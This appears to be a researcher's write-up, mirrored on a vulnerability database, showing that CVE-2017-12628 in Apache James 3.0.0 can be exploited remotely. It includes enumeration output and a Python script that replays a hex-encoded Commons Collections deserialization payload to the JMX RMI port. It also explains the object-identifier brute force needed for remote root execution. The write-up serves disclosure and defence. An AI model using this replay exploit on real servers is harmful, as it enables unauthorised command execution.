Lucene search

K
seebugRootSSV:96770
HistoryOct 24, 2017 - 12:00 a.m.

Apache James Deserialization RCE(CVE-2017-12628)

2017-10-2400:00:00
Root
www.seebug.org
63

0.0004 Low

EPSS

Percentile

5.1%

Analysis of CVE-2017-12628

This morning I spotted a tweet mentioning an “Apache James 3.0.1 JMX Server Deserialization” vulnerability, CVE-2017-12628, which caught my eye because I wrote a generic JMX deserialization exploit which is included in my RMI attack tool BaRMIe. A quick search for more details led to the security release announcement which states that the vulnerability can only be used for local privilege escalation and mentions an upgrade to a library. This sparked further interest because JMX uses RMI and RMI objects can be accessed remotely even when they are bound to localhost because Java binds the object reference to “0.0.0.0”. BaRMIe exploits this using local port forwarding to attack objects that otherwise appear to be bound to local or internal IP addresses.

Analysis

I span up a VM to run Apache James 3.0.0 (3.0.1 fixes the issue) and the first thing I noticed was the file “libs\commons-collections-3.2.1.jar”. We can use ysoserial to generate a POP gadget chain using this library to achieve arbitrary command execution through deserialization.

I started the James server by running “bin/run.sh”, then used netstat on the VM and nmap from my host machine to find that there was one Java RMI port listening externally on the VM.

C:\Tools\Nmap>nmap.exe -sV --version-all -p33148,46299 192.168.174.40

Starting Nmap 7.31 ( https://nmap.org ) at 2017-10-22 12:37 GMT Daylight Time
Nmap scan report for 192.168.174.40
Host is up (0.00076s latency).
PORT      STATE SERVICE     VERSION
33148/tcp open  rmiregistry Java RMI
46299/tcp open  tcpwrapped

Using BaRMIe to enumerate this service showed that it was an RMI object service rather than an RMI registry service, so BaRMIe couldn’t attack the service remotely.

C:\Tools\BaRMIe>java -jar BaRMIe.jar 192.168.174.40 33148
Scanning 1 target(s) for objects exposed via an RMI registry...

192.168.174.40:33148 appears to be an RMI object endpoint, rather than a registry.

Running nmap locally on the VM revealed that the Apache James RMI registry service was bound to 127.0.0.1:9999. I copied BaRMIe to the VM to enumerate this RMI registry and found that the externally facing RMI service was in fact the RMI object service for the JMX object.

RMI Registry at 127.0.0.1:9999
Objects exposed: 1
Object 1
  Name: jmxrmi
  Endpoint: 127.0.1.1:33148
  Classes: 3
    Class 1
      Classname: javax.management.remote.rmi.RMIServerImpl_Stub

Using BaRMIe’s attack mode with the generic JMX exploit and Commons Collections 3.2.1 payload it was possible to exploit this service to execute arbitrary commands leading to a local privilege escalation as advertised. In addition to this it’s also worth noting that, if the server uses an outdated Java runtime environment (<= 6u131, 7u121, or 8u112) then it is also vulnerable to the ysoserial RMI registry exploit.

Remote Exploit

The security release announcement states that this is a local privilege escalation vulnerability only, however, given that the JMX object is exposed externally, I figured this must be remotely exploitable.

Before I continue, I want to make it clear that this is remotely exploitable, however the remote exploit involves a significant network-based brute force attack.

For a quick and dirty proof of concept I used tcpdump on the VM to capture the traffic to the JMX object service whilst running the BaRMIe JMX exploit with the command “touch fooobaaar”.

sudo tcpdump -i lo -w apache-james-jmx-exploit.pcap port 33148

Back on my host machine I used a quick and dirty Python script to replay the exploit packets.

import socket

packets = [
	"4a524d4900024b",
	"RECV",
	"00093132372e302e312e310000000050aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078709c4cdbcfdd205cf8737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e6971756570787080020000015f4347bba08304129e77088000000000000015737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008beccd729e295d7ea7371007e000580010000015f43592e64224416a1",
	"RECV",
	"50aced000577229c4cdbcfdd205cf88304129e0000015f4347bba08002fffffffff0e074eaad0caea8737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000000010000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b707870740001417372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e0003707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174000f746f75636820666f6f6f6261616172740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64707870000000010000000077080000001000000000787878",
	"RECV",
]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.174.40", 33148))

for packet in packets:
	if packet == "RECV":
		sock.recv(4096)
	else:
		sock.sendall(packet.decode("hex"))
sock.close()

Replaying the local attack remotely from my host machine was successful, proving that a remote exploit is possible.

As I suspected however, after restarting the Apache James service, this quick and dirty PoC no longer worked. I generated more packet captures for comparison and did some further testing and it appears to come down to some differences in the third outbound packet of the exploit. The following is the first 27 bytes of this packet:

50aced000577229c4cdbcfdd205cf88304129e0000015f4347bba0

The sections highlighted in blue were dynamic, however their values could be extracted from the previous response packet returned by the server. The orange highlighted section is the RMI object identifier which is generated when the server starts up. This value comes from the RMI registry service, which does only listen locally on the server. If an attacker can brute force or otherwise acquire this 8-byte value then a remote root command execution exploit is possible.

0.0004 Low

EPSS

Percentile

5.1%